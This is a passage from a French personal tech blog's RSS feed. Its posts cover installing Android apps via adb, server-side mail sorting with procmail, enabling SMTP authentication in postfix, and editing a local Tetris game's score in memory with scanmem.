<h3>Configurer le téléphone</h3>
<p>Pour que l&#8217;outil d&#8217;installation puisse fonctionner, il faut activer l&#8217;option <em>Paramètres > Applications > Développement > Débogage USB</em> sur le téléphone.</p>
<h3>Configurer l&#8217;ordinateur</h3>
<p>Il faut télécharger <a href="http://developer.android.com/sdk/index.html">Android SDK</a>, malheureusement <a href="http://developer.android.com/sdk/terms.html">non libre</a>.</p>
<p>Sous GNU/Linux (plus précisément <em>Ubuntu 9.10</em>, adaptez selon votre distribution), voici comment l&#8217;installer et permettre la reconnaissance du Motorola Milestone (<a href="http://d.android.com/guide/developing/device.html">plus d&#8217;infos ici</a>)&nbsp;:</p>
<pre>sudo tar xzf android-sdk_r07-linux_x86.tgz -C /opt
sudo ln -s /opt/android-sdk-linux_x86/tools/adb /usr/local/bin
echo 'SUBSYSTEM=="usb", SYSFS{idVendor}=="22b8", MODE="0666"' | sudo tee /etc/udev/rules.d/51-android.rules
sudo service udev reload</pre>
<p>Si vous utilisez un système 64 bits, vous aurez besoin également besoin de <a href="apt://ia32-libs">ia32-libs</a>&nbsp;:</p>
<pre>sudo apt-get install ia32-libs</pre>
<p>Vous pouvez maintenant brancher votre téléphone sur le PC en USB. Pour vérifier que tout fonctionne&nbsp;:</p>
<pre>$ adb devices
List of devices attached
040140621600C00D	device</pre>
<h3>Installer une application</h3>
<h4>En ligne de commande</h4>
<p>Pour installer une application à partir de l&#8217;ordinateur, rien de plus simple&nbsp;:</p>
<pre>$ adb install -r ConnectBot-svn-r466-all.apk
2343 KB/s (642578 bytes in 0.267s)
	pkg: /data/local/tmp/ConnectBot-svn-r466-all.apk
Success</pre>
<p>(<em><code>-r</code> permet d&#8217;écraser si l&#8217;application est déjà installée</em>)</p>
<h4>À partir d&#8217;un gestionnaire de fichiers</h4>
<p>Vous pouvez ensuite ajouter la possibilité d&#8217;installer les <code>.apk</code> graphiquement à partir de votre gestionnaire de fichiers. Si vous utilisez <strong>nautilus</strong>, vous pouvez jouer avec <a href="http://doc.ubuntu-fr.org/nautilus-actions">nautilus-actions</a>&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/01/install-apk.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/01/install-apk-245x300.png" alt="" title="install-apk" width="245" height="300" class="aligncenter size-medium wp-image-1212" /></a><br />
Voici la commande de mon action nautilus (j&#8217;ouvre un xterm pour avoir le résultat de l&#8217;installation, si vous avez mieux, n&#8217;hésitez pas)&nbsp;:</p>
<pre>xterm -T adb -e 'cd "%d" &#038;&#038; /usr/local/bin/adb install -r "%f"; sleep 5'</pre>
<h3>Conclusion</h3>
<p>J&#8217;ai réinitialisé mon téléphone, il n&#8217;a plus de compte <em>gmail</em> associé et je n&#8217;ai pas accepté les conditions du <em>market</em>, ce qui ne m&#8217;empêche donc plus d&#8217;installer les applications dont j&#8217;ai besoin.</p>
<p>Même pour ceux qui veulent garder leur compte ou utiliser le <em>market</em>, c&#8217;est quand même plus rapide d&#8217;installer un <code>.apk</code> grâce à un clic-droit, <em>&laquo;&nbsp;installer&nbsp;&raquo;</em> à partir du gestionnaire de fichiers plutôt que de copier le <code>.apk</code> sur la carte SD, débrancher le câble USB, aller dans une appli qui va chercher le fichier et cliquer sur <em>&laquo;&nbsp;installer&nbsp;&raquo;</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>Trier ses mails directement sur le serveur (procmail)</title>
		<link>http://blog.rom1v.com/2010/01/trier-ses-mails-directement-sur-le-serveur-procmail/</link>
		<comments>http://blog.rom1v.com/2010/01/trier-ses-mails-directement-sur-le-serveur-procmail/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 17:43:18 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[auto-hébergement]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[réseau]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1140</guid>
		<description><![CDATA[Dans la continuité des articles consacrés à l&#8217;auto-hébergement des mails, je vais présenter quelque chose que je voulais mettre en place depuis un moment&#160;: le tri du courrier directement sur le serveur. Introduction Lorsqu&#8217;on est abonné à des mailing-lists ou qu&#8217;on reçoit des notifications de forums ou de blogs, il est inconcevable de garder tous [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/01/tri-courrier.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2010/01/tri-courrier-150x150.jpg" alt="" title="tri-courrier" width="150" height="150" class="alignright size-thumbnail wp-image-1174" /></a></p>
<p>Dans la continuité des articles consacrés à l&#8217;<a href="http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous/">auto-hébergement des mails</a>, je vais présenter quelque chose que je voulais mettre en place depuis un moment&nbsp;: <strong>le tri du courrier directement sur le serveur</strong>.</p>
<h3>Introduction</h3>
<p>Lorsqu&#8217;on est abonné à des mailing-lists ou qu&#8217;on reçoit des notifications de forums ou de blogs, il est inconcevable de garder tous ses mails dans un seul et même dossier, et impensable de les déplacer manuellement (à moins de passer 30 minutes par jour à les trier). Un tri doit être mis en place automatiquement, en se basant sur les en-têtes des mails reçus.</p>
<p>J&#8217;utilisais jusqu&#8217;à maintenant les filtres de messages de mon client mail, <em>Evolution</em>, mais ça n&#8217;était pas forcément approprié&nbsp;:</p>
<ul>
<li>d&#8217;une part c&#8217;est très long avec un compte IMAP (les dossiers étant gérés côté serveur), car le client doit récupérer localement les nouveaux messages du serveur et les analyser&nbsp;; s&#8217;il faut en déplacer un, il doit demander au serveur de le copier de la boîte de réception vers le dossier destination adéquat, puis demander de le supprimer de la boîte de réception, et enfin récupérer le messages déplacé… Rien que ça&nbsp;!</li>
<li>d&#8217;autre part, lorsqu&#8217;on accède à ses mails à partir de plusieurs endroits (par exemple le client mail, le webmail et le téléphone portable), il devient évident que ce ne peut pas être le rôle des clients de trier les messages…</li>
</ul>
<p>C&#8217;est donc au serveur de placer les mails dans le bon dossier dès la réception. C&#8217;est ce que <b>procmail</b> permet de faire.</p>
<h3>Les dossiers IMAP</h3>
<p>Les dossiers IMAP sont des dossiers physiques contenus dans <code>~/Maildir</code> (le répertoire des mails) qui respectent une structure particulière&nbsp;:</p>
<ul>
<li>leur nom commence par &laquo;&nbsp;.&nbsp;&raquo; (ce sont des dossiers cachés) et les sous-dossiers &laquo;&nbsp;logiques&nbsp;&raquo; sont séparés par des &laquo;&nbsp;.&nbsp;&raquo; (par exemple, si je veux un dossier <code>a</code> contenant un sous-dossier <code>b</code>, le répertoire physique sera <code>~/Maildir/.a.b</code>)&nbsp;;</li>
<li>ils contiennent 3 sous-dossiers physiques&nbsp;: <code>cur</code>, <code>new</code> et <code>tmp</code>.</li>
</ul>
<p>Pour les créer, il suffit d&#8217;utiliser <code>maildirmake</code> ou <code>maildirmake.dovecot</code>, à partir du répertoire <code>~/Maildir</code>&nbsp;:</p>
<pre>maildirmake.dovecot .forums.ubuntu-fr
maildirmake.dovecot .forums.developpez</pre>
<p>pour obtenir l&#8217;arborescence suivante&nbsp;:</p>
<pre>|-- .forums.developpez
|   |-- cur
|   |-- new
|   `-- tmp
`-- .forums.ubuntu-fr
    |-- cur
    |-- new
    `-- tmp</pre>
<p>Il est également possible de les créer graphiquement grâce à un client mail.</p>
<h3>Configuration de postfix</h3>
<p>Il faut indiquer à <strong>postfix</strong> que <strong>procmail</strong> va s&#8217;occuper de trier les mails, en lui précisant dans <code>/etc/postfix/main.cf</code>&nbsp;:</p>
<pre>mailbox_command = /usr/bin/procmail</pre>
<p>Il faudra ensuite recharger la configuration&nbsp;:</p>
<pre>sudo /etc/init.d/postfix reload</pre>
<h3>Définir les règles de tri</h3>
<p>Tout se passe dans le fichier (à créer) <code>~/.procmailrc</code>, qui contient deux parties&nbsp;: la définition des variables et la définition des &laquo;&nbsp;recettes&nbsp;&raquo; (les règles de tri).</p>
<h4>Les variables</h4>
<p>Pour les variables, copiez simplement ceci (en décommentant les 2 premières lignes si vous voulez des logs).</p>
<pre>#VERBOSE=yes
#LOGFILE=.procmail.log
SHELL=/bin/sh
PATH=/bin:/usr/bin:/usr/local/bin
MAILDIR=Maildir/
DEFAULT=./</pre>
<h4>Les recettes</h4>
<p>Les recettes sont écrites sous la forme suivante&nbsp;:</p>
<pre>:0 [drapeaux] [ : [verrou_local] ]
&lt;zéro ou plusieurs conditions (une par ligne)&gt;
&lt;exactement une ligne d'action&gt;</pre>
<p>Les conditions commencent toutes par &laquo;&nbsp;*&nbsp;&raquo;, suivie d&#8217;une expression régulière. Pour qu&#8217;une recette exécute l&#8217;action définie, il faut que le mail en question valide <strong>toutes</strong> les conditions.</p>
<p>Pour faire simple, nous allons simplement créer des règles qui déplacent des mails dans des dossiers. Pour définir une telle action, il suffit d&#8217;écrire le nom du dossier, en terminant la ligne par <code>/</code> (très important, cette convention indique à <strong>procmail</strong> que le dossier est au format <em>maildir</em>).</p>
<p>Un exemple étant plus parlant, voici une règle qui déplace toutes mes notifications de blog dans un dossier <code>blog</code>&nbsp;:</p>
<pre>:0
* ^From: .*&lt;wordpress@blog\.rom1v\.com&gt;$
.blog/</pre>
<p><ins datetime="2010-12-01T00:00:00+01:00">Cet autre exemple permet d&#8217;envoyer une copie des mails validant les conditions à des adresses e-mails spécifiées (je m&#8217;en sers pour transférer les messages vocaux de mon répondeur téléphonique sur plusieurs adresses)&nbsp;:</ins></p>
<pre>:0c
* ^From: telephonie\.freebox@freetelecom\.com$
! autre@email.com</pre>
<h4>Résultat</h4>
<p>Au final, voici un extrait de mon fichier <code>~/.procmailrc</code> (je n&#8217;ai pas mis toutes les règles, c&#8217;est juste pour donner quelques exemples)&nbsp;:</p>
<pre>#VERBOSE=yes
#LOGFILE=.procmail.log
SHELL=/bin/sh
PATH=/bin:/usr/bin:/usr/local/bin
MAILDIR=Maildir/
DEFAULT=./

:0
* ^From: .*&lt;wordpress@blog\.rom1v\.com&gt;$
.blog/

:0
* ^Reply-To: .*&lt;[0-9]+@bugs\.launchpad\.net&gt;$
.bugs.launchpad/

:0
* ^From: .*&lt;dev\.null@ubuntu-fr\.org&gt;$
.forums.ubuntu-fr/

:0
* ^List-Id: &lt;april\.april\.org&gt;$
.ml.april/</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/01/trier-ses-mails-directement-sur-le-serveur-procmail/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Ajouter l&#8217;authentification SMTP sur un serveur mail</title>
		<link>http://blog.rom1v.com/2010/01/ajouter-lauthentification-smtp-sur-un-serveur-mail/</link>
		<comments>http://blog.rom1v.com/2010/01/ajouter-lauthentification-smtp-sur-un-serveur-mail/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 20:23:05 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[auto-hébergement]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[réseau]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1093</guid>
		<description><![CDATA[Ce billet vient compléter mon premier billet concernant l&#8217;installation d&#8217;un serveur mail sur Ubuntu Server. Objectif La configuration de postfix présentée dans mon premier billet limitait (dans un but de sécurité) l&#8217;envoi d&#8217;un mail à une personne distante qu&#8217;à partir du réseau local (ou une liste de réseaux prédéfinis). Cela est parfait lorsqu&#8217;on envoie toujours [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/01/mail-smtp-auth.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/01/mail-smtp-auth-150x150.png" alt="" title="mail-smtp-auth" width="150" height="150" class="alignleft size-thumbnail wp-image-1098" /></a><br />
Ce billet vient compléter mon premier billet concernant l&#8217;<a href="http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous/">installation d&#8217;un serveur mail sur Ubuntu Server</a>.</p>
<h3>Objectif</h3>
<p>La configuration de <strong>postfix</strong> présentée dans mon premier billet limitait (dans un but de sécurité) l&#8217;envoi d&#8217;un mail à une personne distante qu&#8217;à partir du réseau local (ou une liste de réseaux prédéfinis). Cela est parfait lorsqu&#8217;on envoie toujours les mails de chez soi, avec au besoin la possibilité d&#8217;envoyer un mail de n&#8217;importe où grâce au <a href="http://blog.rom1v.com/2009/11/installer-un-webmail-roundcube-sur-ubuntu-server/">webmail</a>.</p>
<p>Mais l&#8217;utilisation du SMTP à distance devient utile lorsqu&#8217;on veut envoyer un mail à partir de chez un ami avec son client mail (plus pratique pour les pièces jointes par exemple), et cela devient carrément indispensable lorsqu&#8217;on veut écrire des mails à partir de son téléphone de n&#8217;importe où (sans IP fixe).</p>
<p>Ne plus restreindre l&#8217;utilisation du SMTP au réseau local implique évidemment de rajouter une couche d&#8217;authentification…</p>
<p>Je vais donc décrire comment mettre en place une authentification SMTP-AUTH &laquo;&nbsp;en clair&nbsp;&raquo; (bien sûr encapsulée dans une connexion chiffrée TLS, déjà configurée si vous avez suivi le premier tuto) qui correspond au login et mot de passe de l&#8217;utilisateur système. Il a été écrit pour une installation sur <strong>Ubuntu Server 9.10</strong>, il faudra donc peut-être l&#8217;adapter légèrement si vous utilisez autre chose.</p>
<h3>Configuration de SASL</h3>
<p>Il faut installer le paquet <strong>sasl2-bin</strong>&nbsp;:</p>
<pre>sudo apt-get install sasl2-bin</pre>
<p>et ajouter l&#8217;utilisateur <strong>postfix</strong> au groupe <strong>sasl</strong>&nbsp;:</p>
<pre>sudo adduser postfix sasl</pre>
<p>Ouvrez ensuite <strong>/etc/default/saslauthd</strong>, remplacez&nbsp;:</p>
<pre>START=no</pre>
<p> par&nbsp;:</p>
<pre>START=yes</pre>
<p>et remplacez la dernière ligne par&nbsp;:</p>
<pre>OPTIONS="-c -m /var/spool/postfix/var/run/saslauthd"</pre>
<p>Démarrez le service&nbsp;:</p>
<pre>sudo /etc/init.d/saslauthd start</pre>
<h3>Configuration de postfix</h3>
<p>À la fin de <strong>/etc/postfix/main.cf</strong>, rajoutez&nbsp;:</p>
<pre># SASL
smtpd_sasl_auth_enable = yes
smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination</pre>
<p><em>Dans ce même fichier, vous pouvez également supprimer le réseau <strong>192.168.0.0/24</strong> de la variable <strong>mynetworks</strong> (si vous l&#8217;aviez rajouté).</em></p>
<p>Créez le fichier <strong>/etc/postfix/sasl/smtpd.conf</strong> contenant&nbsp;:</p>
<pre>pwcheck_method: saslauthd
mech_list: plain login</pre>
<p>Rechargez la configuration de postfix&nbsp;:</p>
<pre>sudo /etc/init.d/postfix reload</pre>
<p>Voilà, tout est prêt.</p>
<h3>Configuration du client mail</h3>
<p>Dans votre client mail, indiquez que le serveur SMTP requiert une authentification, de type CLAIR (ou PLAIN), et précisez votre compte utilisateur à utiliser.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/01/ajouter-lauthentification-smtp-sur-un-serveur-mail/feed/</wfw:commentRss>
		<slash:comments>50</slash:comments>
		</item>
		<item>
		<title>Tricher dans les jeux en modifiant la mémoire à chaud</title>
		<link>http://blog.rom1v.com/2009/12/tricher-dans-les-jeux-en-modifiant-la-memoire-a-chaud/</link>
		<comments>http://blog.rom1v.com/2009/12/tricher-dans-les-jeux-en-modifiant-la-memoire-a-chaud/#comments</comments>
		<pubDate>Sun, 20 Dec 2009 19:52:58 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1078</guid>
		<description><![CDATA[Il y a longtemps, sur la première PlayStation, j&#8217;avais acheté un Action Replay qui permettait de modifier la mémoire à chaud pour &#171;&#160;tricher&#160;&#187; ou changer le comportement d&#8217;un jeu. Il est possible de faire la même chose sous GNU/Linux grâce à scanmem, qu&#8217;il faut installer&#160;: sudo apt-get install scanmem Nous allons le tester sur Gnometris [...]]]></description>
			<content:encoded><![CDATA[<p>Il y a longtemps, sur la première <em>PlayStation</em>, j&#8217;avais acheté un <a href="http://fr.wikipedia.org/wiki/Action_Replay">Action Replay</a> qui permettait de modifier la mémoire <em>à chaud</em> pour &laquo;&nbsp;tricher&nbsp;&raquo; ou changer le comportement d&#8217;un jeu.</p>
<p>Il est possible de faire la même chose sous GNU/Linux grâce à <a href="apt://scanmem">scanmem</a>, qu&#8217;il faut installer&nbsp;:</p>
<pre>sudo apt-get install scanmem</pre>
<p>Nous allons le tester sur <strong>Gnometris</strong> (le Tetris-like intégré à <em>Gnome</em>) pour exploser le record.</p>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2009/12/gnometris.png"><img src="http://blog.rom1v.com/wp-content/uploads/2009/12/gnometris-264x300.png" alt="" title="gnometris" width="264" height="300" class="alignright size-medium wp-image-1079" /></a></p>
<p>Lançons le jeu, et récupérons son <em>pid</em>&nbsp;:</p>
<pre>$ gnometris &#038;
[1] 30814</pre>
<p>Démarrons <strong>scanmem</strong> avec comme paramètre le <em>pid</em> de <strong>Gnometris</strong>&nbsp;:</p>
<pre>sudo scanmem 30814</pre>
<p><em>(oui, il faut être root pour lire et écrire la mémoire des autres programmes lancés, c&#8217;est plutôt rassurant)</em></p>
<p>On obtient un joli prompt&nbsp;:</p>
<pre>0> </pre>
<p>Il va falloir tout d&#8217;abord trouver où se trouve en mémoire la variable à modifier (celle qui contient le score courant). Pour cela, c&#8217;est très simple, vu que le score est affiché à l&#8217;écran, il suffit d&#8217;indiquer à <strong>scanmem</strong> sa valeur. Pour l&#8217;instant, mon score est de 0, je rentre donc 0&nbsp;:</p>
<pre>0> 0
info: 01/126 searching   0x621000 -   0x623000...........ok
info: 02/126 searching  0x1f9d000 -  0x2f4e000...........ok
…
info: 125/126 searching 0xe83f9000 - 0xe83fa000.ok
info: 126/126 searching 0xdab4b000 - 0xdab67000.ok
info: we currently have 12352024 matches.
12352024> </pre>
<p>Il y a donc 12352024 variables dans la mémoire utilisée par Gnometris qui sont à 0 (pas étonnant).</p>
<p>Je joue un peu, histoire de faire évoluer le score… <em>tac tac tac tac…</em> Voilà, j&#8217;ai 100 points (j&#8217;ai fait 2 lignes), je tape donc 100&nbsp;:</p>
<pre>12352024> 100
info: we currently have 36 matches.
36> </pre>
<p>Il y a 36 variables qui étaient à 0 tout à l&#8217;heure et qui sont à 100 maintenant. Je rejoue, je fais 1 ligne, j&#8217;ai 140 points, je tape donc 140&nbsp;:</p>
<pre>36> 140
info: we currently have 1 matches.
info: match identified, use "set" to modify value.
info: enter "help" for other commands.</pre>
<p>Voilà, j&#8217;ai trouvé la variable qui contient le score, maintenant je peux la modifier&nbsp;:</p>
<pre>1> set 12345678
info: setting *0x22e38f0 to 0xbc614e...</pre>
<p>Rien ne se passe dans le jeu, c&#8217;est normal&nbsp;: pour <strong>Gnometris</strong>, le score n&#8217;a pas pu changer, le label de l&#8217;interface graphique contenant le score n&#8217;a donc pas été rafraîchi. Il suffit de gagner quelques points pour s&#8217;apercevoir que la modification a bien été prise en compte&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2009/12/gnometris-cheat.png"><img src="http://blog.rom1v.com/wp-content/uploads/2009/12/gnometris-cheat-264x300.png" alt="" title="gnometris-cheat" width="264" height="300" class="aligncenter size-medium wp-image-1080" /></a></p>
<p>Ça fonctionne bien évidemment sur tous les programmes, mais c&#8217;est plus intéressant pour les jeux <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2009/12/tricher-dans-les-jeux-en-modifiant-la-memoire-a-chaud/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
	</channel>
</rss>

